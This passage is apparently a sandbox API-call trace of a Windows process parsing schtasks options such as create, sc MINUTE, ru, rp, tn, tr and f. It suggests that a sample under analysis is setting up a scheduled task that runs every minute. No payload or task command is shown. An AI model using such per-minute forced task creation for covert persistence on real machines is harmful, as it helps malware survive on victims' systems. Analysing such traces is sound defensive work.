returned 3 [0131.565] lstrlenW (lpString="|create|") returned 8 [0131.565] lstrlenW (lpString="|f|") returned 3 [0131.565] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0131.565] SetLastError (dwErrCode=0x490) [0131.565] lstrlenW (lpString="?") returned 1 [0131.565] lstrlenW (lpString="?") returned 1 [0131.565] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.565] lstrlenW (lpString="f") returned 1 [0131.565] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.565] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|?|") returned 3 [0131.566] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.566] lstrlenW (lpString="|?|") returned 3 [0131.566] lstrlenW (lpString="|f|") returned 3 [0131.566] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0131.566] SetLastError (dwErrCode=0x490) [0131.566] lstrlenW (lpString="s") returned 1 [0131.566] lstrlenW (lpString="s") returned 1 [0131.566] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.566] lstrlenW (lpString="f") returned 1 [0131.566] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.566] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|s|") returned 3 [0131.566] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.566] lstrlenW (lpString="|s|") returned 3 [0131.566] lstrlenW (lpString="|f|") returned 3 [0131.566] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0131.566] SetLastError (dwErrCode=0x490) [0131.566] lstrlenW (lpString="u") returned 1 [0131.566] lstrlenW (lpString="u") returned 1 [0131.566] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.566] lstrlenW (lpString="f") returned 1 [0131.566] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.566] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|u|") returned 3 [0131.566] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.566] lstrlenW (lpString="|u|") returned 3 [0131.566] lstrlenW (lpString="|f|") returned 3 [0131.566] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0131.567] SetLastError (dwErrCode=0x490) [0131.567] lstrlenW (lpString="p") returned 1 [0131.567] lstrlenW (lpString="p") returned 1 [0131.567] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.567] lstrlenW (lpString="f") returned 1 [0131.567] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.567] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|p|") returned 3 [0131.567] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.567] lstrlenW (lpString="|p|") returned 3 [0131.567] lstrlenW (lpString="|f|") returned 3 [0131.567] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0131.567] SetLastError (dwErrCode=0x490) [0131.567] lstrlenW (lpString="ru") returned 2 [0131.567] lstrlenW (lpString="ru") returned 2 [0131.567] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.567] lstrlenW (lpString="f") returned 1 [0131.567] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.567] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|ru|") returned 4 [0131.567] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.567] lstrlenW (lpString="|ru|") returned 4 [0131.567] lstrlenW (lpString="|f|") returned 3 [0131.567] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0131.567] SetLastError (dwErrCode=0x490) [0131.567] lstrlenW (lpString="rp") returned 2 [0131.567] lstrlenW (lpString="rp") returned 2 [0131.567] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.568] lstrlenW (lpString="f") returned 1 [0131.568] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.568] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|rp|") returned 4 [0131.568] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.568] lstrlenW (lpString="|rp|") returned 4 [0131.568] lstrlenW (lpString="|f|") returned 3 [0131.568] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0131.568] SetLastError (dwErrCode=0x490) [0131.568] lstrlenW (lpString="sc") returned 2 [0131.568] lstrlenW (lpString="sc") returned 2 [0131.568] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.568] lstrlenW (lpString="f") returned 1 [0131.568] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.568] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sc|") returned 4 [0131.568] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.568] lstrlenW (lpString="|sc|") returned 4 [0131.568] lstrlenW (lpString="|f|") returned 3 [0131.568] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0131.568] SetLastError (dwErrCode=0x490) [0131.568] lstrlenW (lpString="mo") returned 2 [0131.568] lstrlenW (lpString="mo") returned 2 [0131.568] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.568] lstrlenW (lpString="f") returned 1 [0131.568] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.568] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|mo|") returned 4 [0131.568] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.569] lstrlenW (lpString="|mo|") returned 4 [0131.569] lstrlenW (lpString="|f|") returned 3 [0131.569] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0131.569] SetLastError (dwErrCode=0x490) [0131.569] lstrlenW (lpString="d") returned 1 [0131.569] lstrlenW (lpString="d") returned 1 [0131.569] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.569] lstrlenW (lpString="f") returned 1 [0131.569] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.569] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|d|") returned 3 [0131.569] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.569] lstrlenW (lpString="|d|") returned 3 [0131.569] lstrlenW (lpString="|f|") returned 3 [0131.569] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0131.569] SetLastError (dwErrCode=0x490) [0131.569] lstrlenW (lpString="m") returned 1 [0131.569] lstrlenW (lpString="m") returned 1 [0131.569] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.569] lstrlenW (lpString="f") returned 1 [0131.569] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.569] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|m|") returned 3 [0131.569] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.569] lstrlenW (lpString="|m|") returned 3 [0131.569] lstrlenW (lpString="|f|") returned 3 [0131.569] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0131.569] SetLastError (dwErrCode=0x490) [0131.570] lstrlenW (lpString="i") returned 1 [0131.570] lstrlenW (lpString="i") returned 1 [0131.570] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.570] lstrlenW (lpString="f") returned 1 [0131.570] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.570] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|i|") returned 3 [0131.570] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.570] lstrlenW (lpString="|i|") returned 3 [0131.570] lstrlenW (lpString="|f|") returned 3 [0131.570] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0131.570] SetLastError (dwErrCode=0x490) [0131.570] lstrlenW (lpString="tn") returned 2 [0131.570] lstrlenW (lpString="tn") returned 2 [0131.570] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.570] lstrlenW (lpString="f") returned 1 [0131.570] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.570] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tn|") returned 4 [0131.570] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.570] lstrlenW (lpString="|tn|") returned 4 [0131.570] lstrlenW (lpString="|f|") returned 3 [0131.570] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0131.570] SetLastError (dwErrCode=0x490) [0131.570] lstrlenW (lpString="tr") returned 2 [0131.570] lstrlenW (lpString="tr") returned 2 [0131.570] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.570] lstrlenW (lpString="f") returned 1 [0131.570] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.571] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|tr|") returned 4 [0131.571] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.571] lstrlenW (lpString="|tr|") returned 4 [0131.571] lstrlenW (lpString="|f|") returned 3 [0131.571] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0131.571] SetLastError (dwErrCode=0x490) [0131.571] lstrlenW (lpString="st") returned 2 [0131.571] lstrlenW (lpString="st") returned 2 [0131.571] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.571] lstrlenW (lpString="f") returned 1 [0131.571] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.571] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|st|") returned 4 [0131.571] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.571] lstrlenW (lpString="|st|") returned 4 [0131.571] lstrlenW (lpString="|f|") returned 3 [0131.571] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0131.571] SetLastError (dwErrCode=0x490) [0131.571] lstrlenW (lpString="sd") returned 2 [0131.571] lstrlenW (lpString="sd") returned 2 [0131.571] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.571] lstrlenW (lpString="f") returned 1 [0131.571] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.571] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|sd|") returned 4 [0131.571] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.571] lstrlenW (lpString="|sd|") returned 4 [0131.571] lstrlenW (lpString="|f|") returned 3 [0131.572] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0131.572] SetLastError (dwErrCode=0x490) [0131.572] lstrlenW (lpString="ed") returned 2 [0131.572] lstrlenW (lpString="ed") returned 2 [0131.572] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.572] lstrlenW (lpString="f") returned 1 [0131.572] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.572] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|ed|") returned 4 [0131.572] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.572] lstrlenW (lpString="|ed|") returned 4 [0131.572] lstrlenW (lpString="|f|") returned 3 [0131.572] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0131.572] SetLastError (dwErrCode=0x490) [0131.572] lstrlenW (lpString="it") returned 2 [0131.572] lstrlenW (lpString="it") returned 2 [0131.572] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.572] lstrlenW (lpString="f") returned 1 [0131.572] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.572] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|it|") returned 4 [0131.572] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.572] lstrlenW (lpString="|it|") returned 4 [0131.572] lstrlenW (lpString="|f|") returned 3 [0131.572] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0131.572] SetLastError (dwErrCode=0x490) [0131.572] lstrlenW (lpString="et") returned 2 [0131.572] lstrlenW (lpString="et") returned 2 [0131.572] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.573] lstrlenW (lpString="f") returned 1 [0131.573] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.573] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|et|") returned 4 [0131.573] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.573] lstrlenW (lpString="|et|") returned 4 [0131.573] lstrlenW (lpString="|f|") returned 3 [0131.573] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0131.573] SetLastError (dwErrCode=0x490) [0131.573] lstrlenW (lpString="k") returned 1 [0131.573] lstrlenW (lpString="k") returned 1 [0131.573] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.573] lstrlenW (lpString="f") returned 1 [0131.573] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.573] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|k|") returned 3 [0131.573] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.573] lstrlenW (lpString="|k|") returned 3 [0131.573] lstrlenW (lpString="|f|") returned 3 [0131.573] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0131.573] SetLastError (dwErrCode=0x490) [0131.573] lstrlenW (lpString="du") returned 2 [0131.573] lstrlenW (lpString="du") returned 2 [0131.573] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.573] lstrlenW (lpString="f") returned 1 [0131.573] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.573] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|du|") returned 4 [0131.573] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.573] lstrlenW (lpString="|du|") returned 4 [0131.574] lstrlenW (lpString="|f|") returned 3 [0131.574] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0131.574] SetLastError (dwErrCode=0x490) [0131.574] lstrlenW (lpString="ri") returned 2 [0131.574] lstrlenW (lpString="ri") returned 2 [0131.574] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.574] lstrlenW (lpString="f") returned 1 [0131.574] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.574] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|ri|") returned 4 [0131.574] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.574] lstrlenW (lpString="|ri|") returned 4 [0131.574] lstrlenW (lpString="|f|") returned 3 [0131.574] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0131.574] SetLastError (dwErrCode=0x490) [0131.574] lstrlenW (lpString="z") returned 1 [0131.574] lstrlenW (lpString="z") returned 1 [0131.574] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.574] lstrlenW (lpString="f") returned 1 [0131.574] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.574] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|z|") returned 3 [0131.574] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.574] lstrlenW (lpString="|z|") returned 3 [0131.574] lstrlenW (lpString="|f|") returned 3 [0131.574] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0131.574] SetLastError (dwErrCode=0x490) [0131.574] lstrlenW (lpString="f") returned 1 [0131.574] lstrlenW (lpString="f") returned 1 [0131.574] _memicmp (_Buf1=0x22c1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.575] lstrlenW (lpString="f") returned 1 [0131.575] _memicmp (_Buf1=0x22c1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.575] _vsnwprintf (in: _Buffer=0x22c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.575] _vsnwprintf (in: _Buffer=0x22c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc228 | out: _Buffer="|f|") returned 3 [0131.575] lstrlenW (lpString="|f|") returned 3 [0131.575] lstrlenW (lpString="|f|") returned 3 [0131.575] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0131.575] SetLastError (dwErrCode=0x0) [0131.575] SetLastError (dwErrCode=0x0) [0131.575] GetProcessHeap () returned 0x210000 [0131.575] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cd20 [0131.575] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.575] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0131.575] lstrlenW (lpString="MINUTE") returned 6 [0131.575] GetProcessHeap () returned 0x210000 [0131.575] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xe) returned 0x22d580 [0131.575] GetThreadLocale () returned 0x409 [0131.575] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0131.575] SetLastError (dwErrCode=0x0) [0131.575] GetProcessHeap () returned 0x210000 [0131.575] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x1fc) returned 0x22c250 [0131.576] GetProcessHeap () returned 0x210000 [0131.576] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22ccf0 [0131.576] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.576] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0131.576] lstrlenW (lpString="First") returned 5 [0131.576] GetProcessHeap () returned 0x210000 [0131.576] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xc) returned 0x22d5a0 [0131.576] GetProcessHeap () returned 0x210000 [0131.576] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22ccc0 [0131.576] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.576] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0131.576] lstrlenW (lpString="Second") returned 6 [0131.576] GetProcessHeap () returned 0x210000 [0131.576] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xe) returned 0x22d5c0 [0131.576] GetProcessHeap () returned 0x210000 [0131.576] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cc90 [0131.576] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.576] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0131.576] lstrlenW (lpString="Third") returned 5 [0131.576] GetProcessHeap () returned 0x210000 [0131.576] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xc) returned 0x22d5e0 [0131.576] GetProcessHeap () returned 0x210000 [0131.576] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cc60 [0131.576] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.576] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0131.576] lstrlenW (lpString="Fourth") returned 6 [0131.576] GetProcessHeap () returned 0x210000 [0131.576] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xe) returned 0x22d600 [0131.577] GetProcessHeap () returned 0x210000 [0131.577] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cc30 [0131.577] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.577] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0131.577] lstrlenW (lpString="Last") returned 4 [0131.577] GetProcessHeap () returned 0x210000 [0131.577] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xa) returned 0x22d620 [0131.577] lstrlenW (lpString="8") returned 1 [0131.577] _wtol (_String="8") returned 8 [0131.577] GetProcessHeap () returned 0x210000 [0131.577] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x20) returned 0x22cc00 [0131.577] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.577] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0131.577] lstrlenW (lpString="First") returned 5 [0131.577] GetProcessHeap () returned 0x210000 [0131.577] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xc) returned 0x22d640 [0131.577] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.577] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0131.577] lstrlenW (lpString="Second") returned 6 [0131.577] GetProcessHeap () returned 0x210000 [0131.577] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0xe) returned 0x22d660 [0131.577] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.577] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0131.577] lstrlenW (lpString="Third") returned 5 [0131.577] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.577] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0131.578] lstrlenW (lpString="Fourth") returned 6 [0131.578] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.578] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0131.578] lstrlenW (lpString="Last") returned 4 [0131.578] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc0a0, cchData=128 | out: lpLCData="0") returned 2 [0131.578] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.578] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0131.578] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0131.578] GetProcessHeap () returned 0x210000 [0131.578] GetProcessHeap () returned 0x210000 [0131.578] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5a0) returned 1 [0131.578] GetProcessHeap () returned 0x210000 [0131.578] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d5a0) returned 0xc [0131.578] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5a0 | out: hHeap=0x210000) returned 1 [0131.578] GetProcessHeap () returned 0x210000 [0131.578] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x16) returned 0x22d5a0 [0131.578] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc0c0, cchData=128 | out: lpLCData="0") returned 2 [0131.578] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.578] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0131.578] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0131.578] GetProcessHeap () returned 0x210000 [0131.578] GetProcessHeap () returned 0x210000 [0131.579] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5c0) returned 1 [0131.579] GetProcessHeap () returned 0x210000 [0131.579] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d5c0) returned 0xe [0131.579] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5c0 | out: hHeap=0x210000) returned 1 [0131.579] GetProcessHeap () returned 0x210000 [0131.579] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x16) returned 0x22d5c0 [0131.579] GetLocalTime (in: lpSystemTime=0xdc2f0 | out: lpSystemTime=0xdc2f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x37, wMilliseconds=0x1ea)) [0131.579] lstrlenW (lpString="") returned 0 [0131.579] GetLocalTime (in: lpSystemTime=0xdcba8 | out: lpSystemTime=0xdcba8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x37, wMilliseconds=0x1ea)) 